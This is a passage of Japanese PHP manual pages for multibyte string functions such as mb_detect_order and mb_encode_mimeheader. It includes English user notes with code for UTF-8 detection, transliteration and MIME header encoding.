  return null;
}
?>
matthijs at ischen dot nl 28-Mar-2009 10:33
I seriously underestimated the importance of setlocale...
<?php
$strings = array(
    "mais coisas a pensar sobre diario ou dois!",
    "plus de choses a penser a journalier ou a deux !",
    "!mas cosas a pensar en diario o dos!",
    "piu cose da pensare circa giornaliere o due!",
    "flere ting a tenke pa hver dag eller to!",
    "Dal?i v?ci, p?emy?let o ka?dy den nebo dva!",
    "mehr uber Spas spat schonen",
    "me vone gjate fun bukur",
    "tobb mint szorakozas kes? csodalatos kenyer"
);

$convert = array();
setlocale(LC_CTYPE, 'de_DE.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

Produces the following:

Array
(
    [0] => mais coisas a pensar sobre diario ou dois!
    [1] => plus de choses a penser a journalier ou a deux !
    [2] => ?mas cosas a pensar en diario o dos!
    [3] => piu cose da pensare circa giornaliere o due!
    [4] => flere ting aa tenke paa hver dag eller to!
    [5] => Dalsi veci, premyslet o kazdy den nebo dva!
    [6] => mehr ueber Spass spaet schoenen
    [7] => me vone gjate fun bukur
    [8] => toebb mint szorakozas keso csodalatos kenyer
)

whereas

<?php
$convert = array();
setlocale(LC_CTYPE, 'nl_NL.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

produces:
Array
(
    [0] => mais coisas a pensar sobre di?rio ou dois!
    [1] => plus de choses ? penser ? journalier ou ? deux !
    [2] => ?m?s cosas a pensar en diario o dos!
    [3] => pi? cose da pensare circa giornaliere o due!
    [4] => flere ting ? tenke p? hver dag eller to!
    [5] => Dal?? v?c?, p?em??let o ka?d? den nebo dva!
    [6] => mehr ?ber Spass sp?t sch?nen
    [7] => m? von? gjat? fun bukur
    [8] => t?bb mint sz?rakoz?s k?s? csod?latos keny?r
)

This might be of interest when trying to convert utf-8 strings into ASCII suitable for URL's, and such. this was never obvious for me since I've used locales for us and nl.
dennis at nikolaenko dot ru 06-Oct-2008 09:18
Beware of bug to detect Russian encodings
http://bugs.php.net/bug.php?id=38138
hmdker at gmail dot com 23-Aug-2008 09:58
Function to detect UTF-8, when mb_detect_encoding is not available it may be useful.

<?php
function is_utf8($str) {
    $c=0; $b=0;
    $bits=0;
    $len=strlen($str);
    for($i=0; $i<$len; $i++){
        $c=ord($str[$i]);
        if($c > 128){
            if(($c >= 254)) return false;
            elseif($c >= 252) $bits=6;
            elseif($c >= 248) $bits=5;
            elseif($c >= 240) $bits=4;
            elseif($c >= 224) $bits=3;
            elseif($c >= 192) $bits=2;
            else return false;
            if(($i+$bits) > $len) return false;
            while($bits > 1){
                $i++;
                $b=ord($str[$i]);
                if($b < 128 || $b > 191) return false;
                $bits--;
            }
        }
    }
    return true;
}
?>
yaqy at qq dot com 20-Jul-2008 10:14
<?php
/*
*QQ: 290359552
* conver to Utf8 if $str is not equals to 'UTF-8'
*/
function convToUtf8($str)
{
if( mb_detect_encoding($str,"UTF-8, ISO-8859-1, GBK")!="UTF-8" )
{

return  iconv("gbk","utf-8",$str);

}
else
{
return $str;
}

}
?>
rl at itfigures dot nl 04-Sep-2007 02:00
I used Chris's function "detectUTF8" to detect the need from conversion from utf8 to 8859-1, which works fine. I did have a problem with the following iconv-conversion.

The problem is that the iconv-conversion to 8859-1 (with //TRANSLIT) replaces the euro-sign with EUR, although it is common practice  that \x80 is used as the euro-sign in the 8859-1 charset.

I could not use 8859-15 since that mangled some other characters, so I added 2 str_replace's:

if(detectUTF8($str)){
  $str=str_replace("\xE2\x82\xAC","&euro;",$str);
  $str=iconv("UTF-8","ISO-8859-1//TRANSLIT",$str);
  $str=str_replace("&euro;","\x80",$str);
}

If html-output is needed the last line is not necessary (and even unwanted).
sunggsun 15-Aug-2006 12:26
from PHPDIG

    function isUTF8($str) {
        if ($str === mb_convert_encoding(mb_convert_encoding($str, "UTF-32", "UTF-8"), "UTF-8", "UTF-32")) {
            return true;
        } else {
            return false;
        }
    }
chris AT w3style.co DOT uk 03-Aug-2006 02:22
Based upon that snippet below using preg_match() I needed something faster and less specific.  That function works and is brilliant but it scans the entire strings and checks that it conforms to UTF-8.  I wanted something purely to check if a string contains UTF-8 characters so that I could switch character encoding from iso-8859-1 to utf-8.

I modified the pattern to only look for non-ascii multibyte sequences in the UTF-8 range and also to stop once it finds at least one multibytes string.  This is quite a lot faster.

<?php

function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

?>
telemach 27-Jul-2005 06:48
beware : even if you need to distinguish between UTF-8 and ISO-8859-1, and you the following detection order (as chrigu suggests)

mb_detect_encoding('accentu?e' , 'UTF-8, ISO-8859-1')

returns ISO-8859-1, while

mb_detect_encoding('accentu?' , 'UTF-8, ISO-8859-1')

returns UTF-8

bottom line : an ending '?' (and probably other accentuated chars) mislead mb_detect_encoding
Chrigu 29-Mar-2005 07:32
If you need to distinguish between UTF-8 and ISO-8859-1 encoding, list UTF-8 first in your encoding_list:
mb_detect_encoding($string, 'UTF-8, ISO-8859-1');

if you list ISO-8859-1 first, mb_detect_encoding() will always return ISO-8859-1.
php-note-2005 at ryandesign dot com 17-Feb-2005 07:57
Much simpler UTF-8-ness checker using a regular expression created by the W3C:

<?php

// Returns true if $string is valid UTF-8 and false otherwise.
function is_utf8($string) {

    // From http://w3.org/International/questions/qa-forms-utf-8.html
    return preg_match('%^(?:
          [\x09\x0A\x0D\x20-\x7E]            # ASCII
        | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
        |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
        | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
        |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
        |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
        | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
        |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
    )*$%xs', $string);

} // function is_utf8

?>
jaaks at playtech dot com 14-Jan-2005 12:27
Last example for verifying UTF-8 has one little bug. If 10xxxxxx byte occurs alone i.e. not in multibyte char, then it is accepted although it is against UTF-8 rules. Make following replacement to repair it.

Replace
         } // goto next char
with
         } else {
           return false; // 10xxxxxx occuring alone
         } // goto next char
maarten 12-Jan-2005 03:55
Sometimes mb_detect_string is not what you need. When using pdflib for example you want to VERIFY the correctness of utf-8. mb_detect_encoding reports some iso-8859-1 encoded text as utf-8.
To verify utf 8 use the following:

//
//    utf8 encoding validation developed based on Wikipedia entry at:
//    http://en.wikipedia.org/wiki/UTF-8
//
//    Implemented as a recursive descent parser based on a simple state machine
//    copyright 2005 Maarten Meijer
//
//    This cries out for a C-implementation to be included in PHP core
//
    function valid_1byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0x80) == 0x00;
    }

    function valid_2byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xE0) == 0xC0;
    }

    function valid_3byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF0) == 0xE0;
    }

    function valid_4byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF8) == 0xF0;
    }

    function valid_nextbyte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xC0) == 0x80;
    }

    function valid_utf8($string) {
        $len = strlen($string);
        $i = 0;
        while( $i < $len ) {
            $char = ord(substr($string, $i++, 1));
            if(valid_1byte($char)) {    // continue
                continue;
            } else if(valid_2byte($char)) { // check 1 byte
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_3byte($char)) { // check 2 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_4byte($char)) { // check 3 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } // goto next char
        }
        return true; // done
    }

for a drawing of the statemachine see: http://www.xs4all.nl/~mjmeijer/unicode.png and http://www.xs4all.nl/~mjmeijer/unicode2.png


文字エンコーディング検出順序を設定あるいは取得する

  • ≪ mb_detect_encoding
  • mb_encode_mimeheader ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字エンコーディング検出順序を設定あるいは取得する

mb_detect_order

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_detect_order — 文字エンコーディング検出順序を設定あるいは取得する

説明

mb_detect_order ( array|string|null $encoding = null ) : array|bool

自動文字エンコーディング検出の順番を encoding に設定します。

パラメータ

encoding

encoding は、 配列またはカンマ区切りの文字エンコーディングのリストです。サポートされる文字エンコーディングを参照ください。

encoding が省略された場合、または null の場合は、 現在の文字エンコーディング検出順を配列で返します。

この設定は、mb_detect_encoding() および mb_send_mail() に影響します。

mbstring が現在実装しているのは、 以下のエンコーディングを検出するフィルタです。 以下のエンコーディングにおいて無効なバイトシーケンスがあった場合、 エンコーディング検出は失敗します。

UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP

ISO-8859-*の場合、mbstring は常に ISO-8859-* として検出します。

UTF-16, UTF-32, UCS2, UCS4 の場合、 エンコーディング検出は常に失敗します。

返り値

検出順序を設定する場合は、成功した場合に true を返し、失敗したときに false を返します。

検出順序を取得する場合は、エンコーディングの配列を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 mb_detect_order() の例

<?php
/* リストで検出順を設定 */
mb_detect_order("eucjp-win,sjis-win,UTF-8");

/* 配列で検出順を設定 */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
mb_detect_order($ary);

/* 現在の検出順を表示 */
echo implode(", ", mb_detect_order());
?>

例2 無意味な順番の例

; 常に ISO-8859-1 として検出されます
detect_order = ISO-8859-1, UTF-8

; ASCII/UTF-7 の値は UTF-8 として有効なため、常に UTF-8 として検出されます
detect_order = UTF-8, ASCII, UTF-7

参考

  • mb_internal_encoding() - 内部文字エンコーディングを設定あるいは取得する
  • mb_http_input() - HTTP 入力文字エンコーディングを検出する
  • mb_http_output() - HTTP 出力文字エンコーディングを設定あるいは取得する
  • mb_send_mail() - エンコード変換を行ってメールを送信する

User Contributed Notes

There are no user contributed notes for this page.


MIMEヘッダの文字列をエンコードする

  • ≪ mb_detect_order
  • mb_encode_numericentity ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • MIMEヘッダの文字列をエンコードする

mb_encode_mimeheader

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_encode_mimeheader — MIMEヘッダの文字列をエンコードする

説明

mb_encode_mimeheader ( string $string , string|null $charset = null , string|null $transfer_encoding = null , string $newline = "\r\n" , int $indent = 0 ) : string

MIME ヘッダエンコーディング方式によって文字列 string をエンコードします。

パラメータ

string

エンコードする文字列。 mb_internal_encoding() と同じエンコーディングにしなければいけません。

charset

charset は、string の変換後の文字セット名です。デフォルトは、現在の NLS 設定 (mbstring.language) によって決まります。

transfer_encoding

transfer_encoding は MIME エンコーディングの 方式を指定します。"B" (Base64) または "Q" (Quoted-Printable) のどちらかでなければなりません。 デフォルトは "B" です。

newline

newline は EOL (行末) のマーカで、 mb_encode_mimeheader() が行を折りたたむ (» RFC 用語で、 ある一定より長い行を複数行に分割することを言います。 分割する長さは、現在 74 文字に固定されています) 際に利用します。 デフォルトは "\r\n" (CRLF) です。

indent

最初の行の字下げ (ヘッダで string の前におく文字数)。

返り値

文字列を ASCII 表現に変換したものを返します。

変更履歴

バージョン | 説明
8.0.0 | charset と transfer_encoding は、 nullable になりました。

例

例1 mb_encode_mimeheader() の例

<?php
$name = "太郎"; // 漢字
$mbox = "kru";
$doma = "gtinn.mon";
$addr = mb_encode_mimeheader($name, "UTF-7", "Q") . " <" . $mbox . "@" . $doma . ">";
echo $addr;
?>

注意

注意:

この関数は、行を分割する際に特別な配慮（単語の区切りなど）を行いません。 このせいで、もとの文字列に予期せぬ空白が入ってしまう可能性があります。

参考

  • mb_decode_mimeheader() - MIME ヘッダフィールドの文字列をデコードする

User Contributed Notes

Anonymous 11-Apr-2009 06:19
I could not find a PHP function to MIME encode the name for a n email address.

Input   = "Karl Muller<kmueller@gmx.de>"
Output = "Karl%20M%FCller<kmueller@gmx.de>"

I wrote it on my own:

<?php
// required to encode names in email addresses
// replace " " with "%20"
// replace "u" with "%FC"
// replace "%" with "%25"      etc....
// Use "%" as Delimiter for MIME
// Use "=" as Delimiter for Quoted Printable
// Input string must be UTF8 encoded
public static function EncodeMime($Text, $Delimiter)
{
    $Text = utf8_decode($Text);
    $Len  = strlen($Text);
    $Out  = "";
    for ($i=0; $i<$Len; $i++)
    {
        $Chr = substr($Text, $i, 1);
        $Asc = ord($Chr);

        if ($Asc > 0x255) // Unicode not allowed
        {
            $Out .= "?";
        }
        else if ($Chr == " " || $Chr == $Delimiter || $Asc > 127)
        {
            $Out .= $Delimiter . strtoupper(bin2hex($Chr));
        }
        else $Out .= $Chr;
    }
    return $Out;
}
?>
tokul at users dot sourceforge dot net 30-Mar-2008 04:26
mb_encode_mimeheader() depends on correct mbstring.internal_encoding setting. It tries to convert $str from internal encoding to $charset. If you ignore mbstring internal encoding, function might encode strings incorrectly even when $str character set matches $charset
chappy at citromail dot hu 05-Jun-2006 04:33
I found a bad function.

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
    preg_match_all('/(\\w*[\\x80-\\xFF]+\\w*)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\\x80-\\xFF])/e', '"=" . strtoupper(dechex(ord("\\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }
    return $input;
}
?>

This function should be used:

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
    $m=preg_match_all('/(\w*[\x80-\xFF]+\w*)/', $input, $matches);
    if($m)$input=mb_encode_mimeheader($input,$charset, 'Q');
    return $input;
}
?>
stormflyCUT at hyh dot pl 05-May-2006 04:41
Some solution for using national chars and have problem with UTF-8 for example in mail subject. Before you use mb_encode_mimeheader with UTF-8 set mb_internal_encoding('UTF-8').
paravoid 01-Jan-2006 05:58
If mb_ version doesn't work for you in MIME-B mode:

function encode_mimeheader($string, $charset=null, $linefeed="\r\n") {
    if (!$charset)
        $charset = mb_internal_encoding();

    $start = "=?$charset?B?";
    $end = "?=";
    $encoded = '';

    /* Each line must have length <= 75, including $start and $end */
    $length = 75 - strlen($start) - strlen($end);
    /* Average multi-byte ratio */
    $ratio = mb_strlen($string, $charset) / strlen($string);
    /* Base64 has a 4:3 ratio */
    $magic = $avglength = floor(3 * $length * $ratio / 4);

    for ($i=0; $i <= mb_strlen($string, $charset); $i+=$magic) {
        $magic = $avglength;
        $offset = 0;
        /* Recalculate magic for each line to be 100% sure */
        do {
            $magic -= $offset;
            $chunk = mb_substr($string, $i, $magic, $charset);
            $chunk = base64_encode($chunk);
            $offset++;
        } while (strlen($chunk) > $length);
        if ($chunk)
            $encoded .= ' '.$start.$chunk.$end.$linefeed;
    }
    /* Chomp the first space and the last linefeed */
    $encoded = substr($encoded, 1, -strlen($linefeed));

    return $encoded;
}
nigrez at nius dot waw dot pl 13-Dec-2005 03:42
True, function is broken (PHP5.1, encoding from UTF-8 with pl_PL charset). Below is about 15% faster version of proposed _mb_mime_encode. Also it has header more like othe mb_* functions and doesn't trigger any errors/warnings/notices.

<?php

function mb_mime_header($string, $encoding=null, $linefeed="\r\n") {
  if(!$encoding) $encoding = mb_internal_encoding();
  $encoded = '';

  while($length = mb_strlen($string)) {
    $encoded .= "=?$encoding?B?"
             . base64_encode(mb_substr($string,0,24,$encoding))
             . "?=$linefeed";

    $string = mb_substr($string,24,$length,$encoding);
  }

  return $encoded;
}

?>
gullevek at gullevek dot org 06-Nov-2005 05:29
My first post was around 2003, and still the mb_mime_header is broken. It is *NOT* usable with longer subjects, and mostly unusable with anything else than japanese.

iwakura at junx dot org is also not working for me, it produces also some gargabe.

I updated my old function (the one I posted 2003) and I tested it with overlong subjects in UTF-8, ISO-2022-JP (japanese), GB2312 (simplified chinese) and EUC-KR (korean) and I got readable results in thunderbird, mail.app, outlook, etc.

<?php

function _mb_mime_encode($string, $encoding)
{
    $pos = 0;
    // after 36 single bytes characters if then comes MB, it is broken
    // but I trimmed it down to 24, to stay 100% < 76 chars per line
    $split = 24;
    while ($pos < mb_strlen($string, $encoding))
    {
        $output = mb_strimwidth($string, $pos, $split, "", $encoding);
        $pos += mb_strlen($output, $encoding);
        $_string_encoded = "=?".$encoding."?B?".base64_encode($output)."?=";
        if ($_string)
            $_string .= "\r\n";
        $_string .= $_string_encoded;
    }
    $string = $_string;
    return $string;
}

?>
chappy at citromail dot hu 28-Oct-2005 11:14
In countries where there's non-us ASCII, it's a very good example, for sending mail:

mb_internal_encoding('iso-8859-2');
setlocale(LC_CTYPE, 'hu_HU');

function encode($str,$charset){
    $str=mb_encode_mimeheader(trim($str),$charset, 'Q', "\n\t");
    return $str;
}

print encode('the text with spec. chars: &#337; &#368; &#336; &#369;, ?','iso-8859-2');

It creates a 7bit string
iwakura at junx dot org 15-Sep-2005 11:35
i think mb_encode_mimeheader still have bug. here is sample code:

function mb_encode_mimeheader2($string, $encoding = "ISO-2022-JP") {
    $string_array = array();
    $pos = 0;
    $row = 0;
    $mode = 0;

    while ($pos < mb_strlen($string)) {
        $word = mb_strimwidth($string, $pos, 1);
        if (!$word) {
            $word = mb_strimwidth($string, $pos, 2);
        }
        if (mb_ereg_match("[ -~]", $word)) {    // ascii
            if ($mode != 1) {
                $row++;
                $mode = 1;
                $string_array[$row] = NULL;
            }
        } else {                                // multibyte
            if ($mode != 2) {
                $row++;
                $mode = 2;
                $string_array[$row] = NULL;
            }
        }
        $string_array[$row] .= $word;
        $pos++;
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    foreach ($string_array as $key => $value) {
        $value = mb_convert_encoding($value, $encoding);
        $string_array[$key] = mb_encode_mimeheader($value, $encoding);
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    return implode("", $string_array);
}

is not the best, but it works
mortoray at ecircle-ag dot com 15-Mar-2005 01:19
At least for Q encoding, this function is unsafe and does not encode correctly. Raw characters which appear as RFC2047 sequences are simply left as is.

Ex:

mb_encode_mimeheader( '=?iso-8859-1?q?this=20is=20some=20text?=' );

returns '=?iso-8859-1?q?this=20is=20some=20text?='

The exact same string, which is obviously not the encoding for the source string.  That is, mb_encode_mimeheader does not do any type of escaping.

That is, the following condition is not always true:
    mb_decode_mimeheader( mb_encode_mimeheader( $text ) ) == $text
gullevek at gullevek dot org 30-Jul-2003 12:02
Read this FIRST: http://bugs.php.net/bug.php?id=23192 because mb_encode_mimeheaders is BUGGY!

a work around for the multibyte broken error for too long subjects for ISO-2022-JP:

$pos=0;
$split=36; // after 36 single bytes characters, if then comes MB, it is broken
while ($pos<mb_strlen($string,$encoding))
{
  $output=mb_strimwidth($string,$pos,$split,"",$encoding);
  $pos+=mb_strlen($output,$encoding);
  $_string.=(($_string)?' ':'').mb_encode_mimeheader($output,$encoding);
}
$string=$_string;

is not the best, but it works
masataka 12-Apr-2003 07:46
second parameter 'charset' is character encoding name, but default must be UTF-8 on PHP4.3.1.


文字を HTML 数値エンティティにエンコードする

  • ≪ mb_encode_mimeheader
  • mb_encoding_aliases ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 文字を HTML 数値エンティティにエンコードする

mb_encode_numericentity

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_encode_numericentity — 文字を HTML 数値エンティティにエンコードする

説明

mb_encode_numericentity ( string $string , array $map , string|null $encoding = null , bool $hex = false ) : string

stringの中で指定した文字コードを 文字コードから HTML 数値エンティティに変換します。

パラメータ

string

エンコードする文字列。

map

map は、変換するコード領域を指定する配列です。

encoding

encoding パラメータには文字エンコーディングを指定します。省略した場合、もしくは null の場合は、 内部文字エンコーディングを使用します。

hex

返されたエンティティのリファレンスが16進記法であるべきかどうか (false の場合、10進記法です)

返り値

変換後の文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 map の例

<?php
$convmap = array (
 int start_code1, int end_code1, int offset1, int mask1,
 int start_code2, int end_code2, int offset2, int mask2,
 ........
 int start_codeN, int end_codeN, int offsetN, int maskN );
// start_codeN および end_codeN に Unicode 値を指定
// 値に offsetN を追加、マスク maskN を指定してビット毎の'AND'をとり、
// 数値エンティティに値を変換します。
?>

例2 mb_encode_numericentity() の例

<?php
/* ISO-8859-1 の左面をHTML数値エンティティに変換 */
$convmap = array(0x80, 0xff, 0, 0xff);
$str = mb_encode_numericentity($str, $convmap, "ISO-8859-1");

/* ブロック 95-104 にある SJIS-win コードのユーザー定義領域を
   数値エンティティに変換 */
$convmap = array(
       0xe000, 0xe03e, 0x1040, 0xffff,
       0xe03f, 0xe0bb, 0x1041, 0xffff,
       0xe0bc, 0xe0fa, 0x1084, 0xffff,
       0xe0fb, 0xe177, 0x1085, 0xffff,
       0xe178, 0xe1b6, 0x10c8, 0xffff,
       0xe1b7, 0xe233, 0x10c9, 0xffff,
       0xe234, 0xe272, 0x110c, 0xffff,
       0xe273, 0xe2ef, 0x110d, 0xffff,
       0xe2f0, 0xe32e, 0x1150, 0xffff,
       0xe32f, 0xe3ab, 0x1151, 0xffff );
$str = mb_encode_numericentity($str, $convmap, "sjis-win");
?>

参考

  • mb_decode_numericentity() - HTML 数値エンティティを文字にデコードする

User Contributed Notes

Anon 05-Dec-2018 11:22
Here is a better explanation of convmap:
https://stackoverflow.com/questions/35854535/better-explanation-of-convmap-in-mb-encode-numericentity
fboes at berlinonline dot de 11-Aug-2009 08:01
To improve handling of EURO-Symbols in dan at boxuk dot com's function add the following line to $convmap:

128,128,0, $f,
Janis 30-Jan-2009 02:32
To get Unicode numbers out of a UTF-8 string, this can be used, for example:

<?php
print mb_encode_numericentity ('s?ш日', array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
?>
dan at boxuk dot com 26-Feb-2003 09:48
We were experiencing difficulties with PHP/Sablotron on Solaris; placing HTML character references into the XSL transformation, when set to output UTF-8, converts them back into UTF8 encoded chars.  This was then a problem for non unicode storage.  Using a bit of code from http://homepage.mac.com/marko/ the following function converts the string back to character references:

function utf2html ($utf2html_string)
{
    $f = 0xffff;
    $convmap = array(
/* <!ENTITY % HTMLlat1 PUBLIC "-//W3C//ENTITIES Latin 1//EN//HTML">
    %HTMLlat1; */
     160,  255, 0, $f,
/* <!ENTITY % HTMLsymbol PUBLIC "-//W3C//ENTITIES Symbols//EN//HTML">
    %HTMLsymbol; */
     402,  402, 0, $f,  913,  929, 0, $f,  931,  937, 0, $f,
     945,  969, 0, $f,  977,  978, 0, $f,  982,  982, 0, $f,
    8226, 8226, 0, $f, 8230, 8230, 0, $f, 8242, 8243, 0, $f,
    8254, 8254, 0, $f, 8260, 8260, 0, $f, 8465, 8465, 0, $f,
    8472, 8472, 0, $f, 8476, 8476, 0, $f, 8482, 8482, 0, $f,
    8501, 8501, 0, $f, 8592, 8596, 0, $f, 8629, 8629, 0, $f,
    8656, 8660, 0, $f, 8704, 8704, 0, $f, 8706, 8707, 0, $f,
    8709, 8709, 0, $f, 8711, 8713, 0, $f, 8715, 8715, 0, $f,
    8719, 8719, 0, $f, 8721, 8722, 0, $f, 8727, 8727, 0, $f,
    8730, 8730, 0, $f, 8733, 8734, 0, $f, 8736, 8736, 0, $f,
    8743, 8747, 0, $f, 8756, 8756, 0, $f, 8764, 8764, 0, $f,
    8773, 8773, 0, $f, 8776, 8776, 0, $f, 8800, 8801, 0, $f,
    8804, 8805, 0, $f, 8834, 8836, 0, $f, 8838, 8839, 0, $f,
    8853, 8853, 0, $f, 8855, 8855, 0, $f, 8869, 8869, 0, $f,
    8901, 8901, 0, $f, 8968, 8971, 0, $f, 9001, 9002, 0, $f,
    9674, 9674, 0, $f, 9824, 9824, 0, $f, 9827, 9827, 0, $f,
    9829, 9830, 0, $f,
/* <!ENTITY % HTMLspecial PUBLIC "-//W3C//ENTITIES Special//EN//HTML">
   %HTMLspecial; */
/* These ones are excluded to enable HTML: 34, 38, 60, 62 */
     338,  339, 0, $f,  352,  353, 0, $f,  376,  376, 0, $f,
     710,  710, 0, $f,  732,  732, 0, $f, 8194, 8195, 0, $f,
    8201, 8201, 0, $f, 8204, 8207, 0, $f, 8211, 8212, 0, $f,
    8216, 8218, 0, $f, 8218, 8218, 0, $f, 8220, 8222, 0, $f,
    8224, 8225, 0, $f, 8240, 8240, 0, $f, 8249, 8250, 0, $f,
    8364, 8364, 0, $f);

    return mb_encode_numericentity($utf2html_string, $convmap, "UTF-8");
}


既知のエンコーディング・タイプのエイリアスを取得

  • ≪ mb_encode_numericentity
  • mb_ereg_match ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • 既知のエンコーディング・タイプのエイリアスを取得

mb_encoding_aliases

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mb_encoding_aliases — 既知のエンコーディング・タイプのエイリアスを取得

説明

mb_encoding_aliases ( string $encoding ) : array

既知の encoding タイプに関するエイリアスの配列を返します。

パラメータ

encoding

エイリアスに関してチェックするエンコーディングタイプ。

返り値

成功した場合、数値で索引がつけられたエンコーディング・エイリアスの配列を返し、 失敗した場合に false を返します

エラー / 例外

encoding が未知の場合、 E_WARNING レベルのエラーを発生します。

例

例1 mb_encoding_aliases() 例

<?php
$encoding        = 'ASCII';
$known_encodings = mb_list_encodings();

if (in_array($encoding, $known_encodings)) {

    $aliases = mb_encoding_aliases($encoding);
    print_r($aliases);

} else {

    echo "Unknown ($encoding) encoding.\n";

}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => ANSI_X3.4-1968
    [1] => iso-ir-6
    [2] => ANSI_X3.4-1986
    [3] => ISO_646.irv:1991
    [4] => US-ASCII
    [5] => ISO646-US
    [6] => us
    [7] => IBM367
    [8] => cp367
    [9] => csASCII
)

参考

  • mb_list_encodings() - サポートするすべてのエンコーディングの配列を返す

User Contributed Notes

There are no user contributed notes for this page.


マルチバイト文字列が正規表現に一致するか調べる

  • ≪ mb_encoding_aliases
  • mb_ereg_replace_callback ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト文字列が正規表現に一致するか調べる

mb_ereg_match

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_ereg_match — マルチバイト文字列が正規表現に一致するか調べる

説明

mb_ereg_match ( string $pattern , string $string , string|null $options = null ) : bool

マルチバイト文字列に対する正規表現マッチングを行います。

パラメータ

pattern

正規表現パターン。

string

評価する文字列。

options

検索オプション。説明は、mb_regex_set_options() を参照してください。

返り値

string が正規表現 pattern に一致する場合にtrue 、 そうでない場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | options は、nullable になりました。

注意

注意:

内部エンコーディングあるいは mb_regex_encoding() で指定した文字エンコーディングを、 この関数の文字エンコーディングとして使用します。

参考

  • mb_regex_encoding() - 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_ereg() - マルチバイト対応の正規表現マッチ

User Contributed Notes

webdesign at innato dot nl 24-Mar-2019 06:47
It took me a while to discover that you must escape characters like parentheses (), square brackets [] and ^ (and maybe more) if you want to match these as a literal. Otherwise you may get some erratic outcome.

In summary, using a match anywhere in the string as an example:

<?php
$needle = "[";
$haystack = "some_array[]";
$test= mb_ereg_match(".*".$needle, $haystack);   // returns false and a php warning

$test= mb_ereg_match('.*'.preg_quote($needle), $haystack);   // returns true
?>
Anonymous 22-Feb-2016 10:01
The behaviour of mb_ereg_match to imply a ^ at the beginning of the pattern stands in stark contrast to the behaviour of mb_ereg where ^ is NOT implied.

Switching between those two routines (because the need to extract a subpattern changes) requires careful consideration when to compensate for this surprising inconsistence.
Anonymous 18-Oct-2008 06:52
Note that this function matches a string from the beginning only (though not necessarily till the end):

<?php

$test = mb_ereg_match("a", "some apples"); // returns false
$test = mb_ereg_match("a", "a kiwi");      // returns true

?>

If you want to check for a match anywhere in the string, use the wild-card & repeat operators .*

<?php

$test = mb_ereg_match(".*a", "some apples"); // returns true

?>


マルチバイト文字列にコールバック関数を用いた正規表現による置換を行う

  • ≪ mb_ereg_match
  • mb_ereg_replace ≫
  • PHP Manual
  • マルチバイト文字列 関数
  • マルチバイト文字列にコールバック関数を用いた正規表現による置換を行う

mb_ereg_replace_callback

(PHP 5 >= 5.4.1, PHP 7, PHP 8)

mb_ereg_replace_callback — マルチバイト文字列にコールバック関数を用いた正規表現による置換を行う

説明

mb_ereg_replace_callback ( string $pattern , callable $callback , string $string , string|null $options = null ) : string|false|null

stringから patternにマッチする文字列を検索し、 一致した文字列をcallback関数の出力で置換します。

この関数の動作はmb_ereg_replace()とほぼ同じですが、 replacementパラメータの代わりに callbackを指定するところが異なります。

パラメータ

pattern

正規表現パターン。

patternではマルチバイト文字列を使用可能です。

callback

コールバック関数で、 subject文字列で一致した要素を配列で 指定してコールされます。 このコールバック関数は、置換した文字列を返す必要があります。

